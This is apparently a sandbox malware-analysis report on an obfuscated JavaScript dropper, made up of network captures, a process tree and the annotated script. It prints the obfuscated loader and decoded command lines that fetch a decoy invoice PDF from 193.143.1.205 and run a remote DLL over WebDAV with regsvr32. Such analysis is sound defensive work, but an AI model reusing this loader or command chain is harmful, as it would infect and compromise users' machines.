Jan 11, 2025 01:54:01.985908985 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 01:54:01.985919952 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 01:54:01.985939026 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 01:54:01.985951900 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 01:54:01.985963106 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 01:54:01.985975027 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 11, 2025 01:54:01.985986948 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 01:54:01.986000061 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 01:54:01.990792990 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	3668	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:54:04.141009092 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:54:04.934057951 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:54:04 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:53:54
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2581826545127854631.js"
Imagebase:	0x7ff7de0d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	19:53:55
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll
Imagebase:	0x7ff772b40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:53:55
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:53:55
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:54:02
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	19:54:02
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff772b40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:54:02
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c6d50000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:54:03
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	19:54:03
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:54:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1640,i,5857169299184739867,14283863373376698252,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function clfkbmqr() {	clfkbmqr() ➔ undefined
1	waaifgww = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ssggt = this[iplmu + ovrjmnbmm + wbxnab + xhweuct + omryb + xhjfog + wqtziy + tjavzmar] ( this[rvuchp + jbzwpw + hlyxyurn + wbxnab + nrulwej + iplmu + tjavzmar][ggizqhm + wbxnab + omryb + ovrjmnbmm + tjavzmar + omryb + jcksok + tpxwq + seqevn + omryb + hlyxyurn + tjavzmar] ( rvuchp + jbzwpw + hlyxyurn + wbxnab + nrulwej + iplmu + tjavzmar + rjsjxtu + jbzwpw + anmei + omryb + ecekeoz + ecekeoz ) [yxnrkeix + omryb + cxhyo + yxnrkeix + omryb + ovrjmnbmm + ivsus] ( wsbvyo + ajccfqkp + odxlmp + fwzev + rlagch + ggizqhm + csnxuhhb + yxnrkeix + yxnrkeix + odxlmp + gwzkqzh + jogzcej + rlagch + csnxuhhb + jbzwpw + odxlmp + yxnrkeix + rvrkjslb + ggizqhm + rhrtdfd + wqtziy + tjavzmar + wbxnab + rhrtdfd + ecekeoz + anzhzmrfk + uyefjif + ovrjmnbmm + wqtziy + omryb + ecekeoz + rvrkjslb + xhjfog + wqtziy + tjavzmar + omryb + wbxnab + wqtziy + ovrjmnbmm + tjavzmar + nrulwej + rhrtdfd + wqtziy + ovrjmnbmm + ecekeoz + rvrkjslb + ocddn + rhrtdfd + hlyxyurn + ovrjmnbmm + ecekeoz + omryb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( mqzrds = 0 ; mqzrds < waaifgww[ecekeoz + omryb + wqtziy + cxhyo + tjavzmar + anmei] ; ++ mqzrds )
4	{
5	if ( ssggt == waaifgww[mqzrds] )
6	{
7	ssggt = true;
8	break ;
9	}
10	}
11	if ( ssggt !== true )
12	this[rvuchp + jbzwpw + hlyxyurn + wbxnab + nrulwej + iplmu + tjavzmar][hjhmibgv + hgxtbc + nrulwej + tjavzmar] ( );
13	this[rvuchp + jbzwpw + hlyxyurn + wbxnab + nrulwej + iplmu + tjavzmar][ggizqhm + wbxnab + omryb + ovrjmnbmm + tjavzmar + omryb + jcksok + tpxwq + seqevn + omryb + hlyxyurn + tjavzmar] ( rvuchp + jbzwpw + hlyxyurn + wbxnab + nrulwej + iplmu + tjavzmar + rjsjxtu + jbzwpw + anmei + omryb + ecekeoz + ecekeoz ) [wbxnab + hgxtbc + wqtziy] ( hlyxyurn + dpifcc + ivsus + anzhzmrfk + gumrlo + hlyxyurn + anzhzmrfk + iplmu + rhrtdfd + usjkpvt + omryb + wbxnab + xhweuct + anmei + omryb + ecekeoz + ecekeoz + rjsjxtu + omryb + xlxdh + omryb + anzhzmrfk + dlsvvgo + ggizqhm + rhrtdfd + dpifcc + dpifcc + ovrjmnbmm + wqtziy + ivsus + anzhzmrfk + xzkwbi + xhjfog + wqtziy + kmzjy + rhrtdfd + unjuq + omryb + dlsvvgo + rvuchp + omryb + tpxwq + yxnrkeix + omryb + dcziygzx + hgxtbc + omryb + xhweuct + tjavzmar + anzhzmrfk + dlsvvgo + jcksok + hgxtbc + tjavzmar + gyavx + nrulwej + ecekeoz + omryb + anzhzmrfk + gfbbjhi + tjavzmar + omryb + dpifcc + iplmu + gfbbjhi + rvrkjslb + nrulwej + wqtziy + kmzjy + rhrtdfd + nrulwej + hlyxyurn + omryb + rjsjxtu + iplmu + ivsus + cxebecf + anzhzmrfk + anmei + tjavzmar + tjavzmar + iplmu + wmwohtkvd + gumrlo + gumrlo + nwaos + djeqe + qtchcd + rjsjxtu + nwaos + xqjmgx + qtchcd + rjsjxtu + nwaos + rjsjxtu + sajtc + bipkivrt + zqqbhksgh + gumrlo + nrulwej + wqtziy + kmzjy + rhrtdfd + nrulwej + hlyxyurn + omryb + rjsjxtu + iplmu + anmei + iplmu + xzkwbi + sndmx + sndmx + xhweuct + tjavzmar + ovrjmnbmm + wbxnab + tjavzmar + anzhzmrfk + gfbbjhi + tjavzmar + omryb + dpifcc + iplmu + gfbbjhi + rvrkjslb + nrulwej + wqtziy + kmzjy + rhrtdfd + nrulwej + hlyxyurn + omryb + rjsjxtu + iplmu + ivsus + cxebecf + sndmx + sndmx + hlyxyurn + dpifcc + ivsus + anzhzmrfk + gumrlo + hlyxyurn + anzhzmrfk + wqtziy + omryb + tjavzmar + anzhzmrfk + hgxtbc + xhweuct + omryb + anzhzmrfk + rvrkjslb + rvrkjslb + nwaos + djeqe + qtchcd + rjsjxtu + nwaos + xqjmgx + qtchcd + rjsjxtu + nwaos + rjsjxtu + sajtc + bipkivrt + zqqbhksgh + rvnrtzzv + fuqiure + fuqiure + fuqiure + fuqiure + rvrkjslb + ivsus + ovrjmnbmm + kmzjy + usjkpvt + usjkpvt + usjkpvt + wbxnab + rhrtdfd + rhrtdfd + tjavzmar + rvrkjslb + sndmx + sndmx + hlyxyurn + dpifcc + ivsus + anzhzmrfk + gumrlo + hlyxyurn + anzhzmrfk + wbxnab + omryb + cxhyo + xhweuct + kmzjy + wbxnab + qtchcd + sajtc + anzhzmrfk + gumrlo + xhweuct + anzhzmrfk + rvrkjslb + rvrkjslb + nwaos + djeqe + qtchcd + rjsjxtu + nwaos + xqjmgx + qtchcd + rjsjxtu + nwaos + rjsjxtu + sajtc + bipkivrt + zqqbhksgh + rvnrtzzv + fuqiure + fuqiure + fuqiure + fuqiure + rvrkjslb + ivsus + ovrjmnbmm + kmzjy + usjkpvt + usjkpvt + usjkpvt + wbxnab + rhrtdfd + rhrtdfd + tjavzmar + rvrkjslb + sajtc + sajtc + fuqiure + sajtc + nwaos + sajtc + sajtc + zqqbhksgh + qtchcd + yqhdryhv + sajtc + xqjmgx + fuqiure + qtchcd + fuqiure + rjsjxtu + ivsus + ecekeoz + ecekeoz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll",0,false) ➔ 0
14	}
15	odxlmp = "q";
16	odxlmp = "r";
17	odxlmp = "C";
18	odxlmp = "t";
19	odxlmp = "x";
20	odxlmp = "y";
21	odxlmp = "l";
22	odxlmp = "A";
23	odxlmp = "K";
24	odxlmp = "Y";
25	odxlmp = "c";
26	odxlmp = "m";
27	odxlmp = "Y";
28	odxlmp = "C";
29	odxlmp = "q";
30	odxlmp = "S";
31	odxlmp = "I";
32	odxlmp = "F";
33	odxlmp = "t";
34	odxlmp = "p";
35	odxlmp = "r";
36	odxlmp = "t";
37	odxlmp = "v";
38	odxlmp = "V";
39	odxlmp = "K";
40	odxlmp = "q";
41	odxlmp = "N";
42	odxlmp = "i";
43	odxlmp = "b";
44	odxlmp = "S";
45	odxlmp = "R";
46	odxlmp = "x";
47	odxlmp = "o";
48	odxlmp = "L";
49	odxlmp = "z";
50	odxlmp = "C";
51	odxlmp = "S";
52	odxlmp = "p";
53	odxlmp = "s";
54	odxlmp = "P";
55	odxlmp = "E";
56	gwzkqzh = "v";
57	gwzkqzh = "I";
58	gwzkqzh = "H";
59	gwzkqzh = "T";
60	gwzkqzh = "I";
61	gwzkqzh = "X";
62	gwzkqzh = "f";
63	gwzkqzh = "w";
64	gwzkqzh = "y";
65	gwzkqzh = "B";
66	gwzkqzh = "M";
67	gwzkqzh = "M";
68	gwzkqzh = "A";
69	gwzkqzh = "P";
70	gwzkqzh = "t";
71	gwzkqzh = "g";
72	gwzkqzh = "q";
73	gwzkqzh = "B";
74	gwzkqzh = "s";
75	gwzkqzh = "D";
76	gwzkqzh = "j";
77	gwzkqzh = "v";
78	gwzkqzh = "v";
79	gwzkqzh = "W";
80	gwzkqzh = "M";
81	gwzkqzh = "r";
82	gwzkqzh = "g";
83	gwzkqzh = "m";
84	gwzkqzh = "L";
85	gwzkqzh = "g";
86	gwzkqzh = "y";
87	gwzkqzh = "p";
88	gwzkqzh = "D";
89	gwzkqzh = "q";
90	gwzkqzh = "q";
91	gwzkqzh = "A";
92	gwzkqzh = "z";
93	gwzkqzh = "N";
94	gwzkqzh = "r";
95	gwzkqzh = "N";
96	ocddn = "Z";
97	ocddn = "e";
98	ocddn = "m";
99	ocddn = "R";
100	ocddn = "m";
101	ocddn = "l";
102	ocddn = "s";
103	ocddn = "o";
104	ocddn = "t";
105	ocddn = "c";
106	ocddn = "M";
107	ocddn = "M";
108	ocddn = "I";
109	ocddn = "s";
110	ocddn = "d";
111	ocddn = "p";
112	ocddn = "a";
113	ocddn = "t";
114	ocddn = "B";
115	ocddn = "n";
116	ocddn = "M";
117	ocddn = "A";
118	ocddn = "j";
119	ocddn = "C";
120	ocddn = "b";
121	ocddn = "Q";
122	ocddn = "o";
123	ocddn = "P";
124	ocddn = "a";
125	ocddn = "Z";
126	ocddn = "I";
127	ocddn = "g";
128	ocddn = "Z";
129	ocddn = "U";
130	ocddn = "c";
131	ocddn = "N";
132	ocddn = "X";
133	ocddn = "g";
134	ocddn = "D";
135	ocddn = "K";
136	ocddn = "c";
137	ocddn = "L";
138	xhjfog = "U";
139	xhjfog = "s";
140	xhjfog = "O";
141	xhjfog = "b";
142	xhjfog = "I";
143	xhjfog = "O";
144	xhjfog = "B";
145	xhjfog = "L";
146	xhjfog = "a";
147	xhjfog = "A";
148	xhjfog = "K";
149	xhjfog = "j";
150	xhjfog = "s";
151	xhjfog = "g";
152	xhjfog = "B";
153	xhjfog = "L";
154	xhjfog = "p";
155	xhjfog = "K";
156	xhjfog = "U";
157	xhjfog = "b";
158	xhjfog = "f";
159	xhjfog = "Q";
160	xhjfog = "u";
161	xhjfog = "V";
162	xhjfog = "F";
163	xhjfog = "K";
164	xhjfog = "f";
165	xhjfog = "S";
166	xhjfog = "v";
167	xhjfog = "j";
168	xhjfog = "L";
169	xhjfog = "A";
170	xhjfog = "w";
171	xhjfog = "I";
172	tpxwq = "y";
173	tpxwq = "N";
174	tpxwq = "k";
175	tpxwq = "P";
176	tpxwq = "Y";
177	tpxwq = "h";
178	tpxwq = "k";
179	tpxwq = "y";
180	tpxwq = "g";
181	tpxwq = "k";
182	tpxwq = "a";
183	tpxwq = "d";
184	tpxwq = "a";
185	tpxwq = "H";
186	tpxwq = "a";
187	tpxwq = "H";
188	tpxwq = "p";
189	tpxwq = "G";
190	tpxwq = "G";
191	tpxwq = "L";
192	tpxwq = "W";
193	tpxwq = "t";
194	tpxwq = "t";
195	tpxwq = "J";
196	tpxwq = "O";
197	tpxwq = "s";
198	tpxwq = "F";
199	tpxwq = "A";
200	tpxwq = "m";
201	tpxwq = "r";
202	tpxwq = "T";
203	tpxwq = "O";
204	tpxwq = "J";
205	tpxwq = "h";
206	tpxwq = "I";
207	tpxwq = "q";
208	tpxwq = "b";
209	fuqiure = "X";
210	fuqiure = "S";
211	fuqiure = "8";
212	ovrjmnbmm = "o";
213	ovrjmnbmm = "D";
214	ovrjmnbmm = "e";
215	ovrjmnbmm = "J";
216	ovrjmnbmm = "r";
217	ovrjmnbmm = "b";
218	ovrjmnbmm = "T";
219	ovrjmnbmm = "x";
220	ovrjmnbmm = "t";
221	ovrjmnbmm = "x";
222	ovrjmnbmm = "u";
223	ovrjmnbmm = "u";
224	ovrjmnbmm = "k";
225	ovrjmnbmm = "d";
226	ovrjmnbmm = "M";
227	ovrjmnbmm = "G";
228	ovrjmnbmm = "b";
229	ovrjmnbmm = "a";
230	rhrtdfd = "x";
231	rhrtdfd = "z";
232	rhrtdfd = "L";
233	rhrtdfd = "Y";
234	rhrtdfd = "V";
235	rhrtdfd = "p";
236	rhrtdfd = "Z";
237	rhrtdfd = "j";
238	rhrtdfd = "j";
239	rhrtdfd = "F";
240	rhrtdfd = "J";
241	rhrtdfd = "F";
242	rhrtdfd = "Z";
243	rhrtdfd = "X";
244	rhrtdfd = "g";
245	rhrtdfd = "K";
246	rhrtdfd = "j";
247	rhrtdfd = "W";
248	rhrtdfd = "r";
249	rhrtdfd = "o";
250	sndmx = "t";
251	sndmx = "i";
252	sndmx = "o";
253	sndmx = "u";
254	sndmx = "l";
255	sndmx = "l";
256	sndmx = "t";
257	sndmx = "c";
258	sndmx = "L";
259	sndmx = "e";
260	sndmx = "N";
261	sndmx = "X";
262	sndmx = "t";
263	sndmx = "o";
264	sndmx = "s";
265	sndmx = "H";
266	sndmx = "n";
267	sndmx = "Z";
268	sndmx = "s";
269	sndmx = "L";
270	sndmx = "&";
271	yxnrkeix = "D";
272	yxnrkeix = "e";
273	yxnrkeix = "u";
274	yxnrkeix = "j";
275	yxnrkeix = "A";
276	yxnrkeix = "h";
277	yxnrkeix = "H";
278	yxnrkeix = "D";
279	yxnrkeix = "P";
280	yxnrkeix = "B";
281	yxnrkeix = "k";
282	yxnrkeix = "T";
283	yxnrkeix = "H";
284	yxnrkeix = "d";
285	yxnrkeix = "O";
286	yxnrkeix = "C";
287	yxnrkeix = "w";
288	yxnrkeix = "n";
289	yxnrkeix = "R";
290	wbxnab = "k";
291	wbxnab = "F";
292	wbxnab = "h";
293	wbxnab = "A";
294	wbxnab = "K";
295	wbxnab = "i";
296	wbxnab = "C";
297	wbxnab = "U";
298	wbxnab = "N";
299	wbxnab = "w";
300	wbxnab = "l";
301	wbxnab = "x";
302	wbxnab = "a";
303	wbxnab = "e";
304	wbxnab = "E";
305	wbxnab = "w";
306	wbxnab = "n";
307	wbxnab = "A";
308	wbxnab = "s";
309	wbxnab = "V";
310	wbxnab = "V";
311	wbxnab = "g";
312	wbxnab = "i";
313	wbxnab = "D";
314	wbxnab = "B";
315	wbxnab = "d";
316	wbxnab = "L";
317	wbxnab = "p";
318	wbxnab = "b";
319	wbxnab = "Z";
320	wbxnab = "V";
321	wbxnab = "t";
322	wbxnab = "r";
323	hjhmibgv = "T";
324	hjhmibgv = "u";
325	hjhmibgv = "t";
326	hjhmibgv = "W";
327	hjhmibgv = "S";
328	hjhmibgv = "n";
329	hjhmibgv = "K";
330	hjhmibgv = "J";
331	hjhmibgv = "W";
332	hjhmibgv = "P";
333	hjhmibgv = "U";
334	hjhmibgv = "J";
335	hjhmibgv = "W";
336	hjhmibgv = "s";
337	hjhmibgv = "c";
338	hjhmibgv = "D";
339	hjhmibgv = "F";
340	hjhmibgv = "c";
341	hjhmibgv = "S";
342	hjhmibgv = "p";
343	hjhmibgv = "l";
344	hjhmibgv = "l";
345	hjhmibgv = "t";
346	hjhmibgv = "u";
347	hjhmibgv = "u";
348	hjhmibgv = "Y";
349	hjhmibgv = "a";
350	hjhmibgv = "T";
351	hjhmibgv = "Y";
352	hjhmibgv = "h";
353	hjhmibgv = "H";
354	hjhmibgv = "Z";
355	hjhmibgv = "q";
356	hjhmibgv = "y";
357	hjhmibgv = "O";
358	hjhmibgv = "a";
359	hjhmibgv = "J";
360	hjhmibgv = "r";
361	hjhmibgv = "Q";
362	jogzcej = "S";
363	jogzcej = "T";
364	jogzcej = "g";
365	jogzcej = "h";
366	jogzcej = "f";
367	jogzcej = "s";
368	jogzcej = "G";
369	jogzcej = "x";
370	jogzcej = "X";
371	jogzcej = "k";
372	jogzcej = "l";
373	jogzcej = "z";
374	jogzcej = "k";
375	jogzcej = "U";
376	jogzcej = "N";
377	jogzcej = "q";
378	jogzcej = "R";
379	jogzcej = "m";
380	jogzcej = "L";
381	jogzcej = "q";
382	jogzcej = "k";
383	jogzcej = "K";
384	jogzcej = "I";
385	jogzcej = "l";
386	jogzcej = "x";
387	jogzcej = "D";
388	jogzcej = "w";
389	jogzcej = "Z";
390	jogzcej = "K";
391	jogzcej = "D";
392	jogzcej = "A";
393	jogzcej = "y";
394	jogzcej = "n";
395	jogzcej = "r";
396	jogzcej = "q";
397	jogzcej = "k";
398	jogzcej = "U";
399	jogzcej = "C";
400	jogzcej = "u";
401	jogzcej = "P";
402	jogzcej = "i";
403	jogzcej = "o";
404	jogzcej = "x";
405	jogzcej = "a";
406	jogzcej = "T";
407	tjavzmar = "P";
408	tjavzmar = "S";
409	tjavzmar = "T";
410	tjavzmar = "T";
411	tjavzmar = "p";
412	tjavzmar = "w";
413	tjavzmar = "v";
414	tjavzmar = "u";
415	tjavzmar = "k";
416	tjavzmar = "K";
417	tjavzmar = "L";
418	tjavzmar = "Q";
419	tjavzmar = "y";
420	tjavzmar = "L";
421	tjavzmar = "A";
422	tjavzmar = "G";
423	tjavzmar = "O";
424	tjavzmar = "e";
425	tjavzmar = "a";
426	tjavzmar = "c";
427	tjavzmar = "d";
428	tjavzmar = "z";
429	tjavzmar = "s";
430	tjavzmar = "Y";
431	tjavzmar = "k";
432	tjavzmar = "t";
433	tjavzmar = "U";
434	tjavzmar = "P";
435	tjavzmar = "t";
436	rjsjxtu = "g";
437	rjsjxtu = "i";
438	rjsjxtu = "F";
439	rjsjxtu = "F";
440	rjsjxtu = "F";
441	rjsjxtu = "E";
442	rjsjxtu = "x";
443	rjsjxtu = "E";
444	rjsjxtu = "x";
445	rjsjxtu = "y";
446	rjsjxtu = "p";
447	rjsjxtu = "T";
448	rjsjxtu = "M";
